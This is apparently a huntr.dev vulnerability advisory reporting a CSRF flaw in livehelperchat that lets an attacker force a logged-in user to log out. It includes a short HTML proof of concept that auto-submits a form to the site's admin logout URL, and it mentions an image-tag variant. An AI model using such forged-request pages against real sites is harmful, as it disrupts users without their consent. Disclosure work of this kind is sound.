Cross-Site Request Forgery (CSRF) in livehelperchat/livehelperchat

2021-12-0208:49:57

khanhchauminh

www.huntr.dev

0.001 Low

EPSS

Percentile

38.1%

JSON

Description

An attacker is able to log out a user if a logged-in user visits the attacker’s website.

Proof of Concept

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://demo.livehelperchat.com/site_admin/user/logout"&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.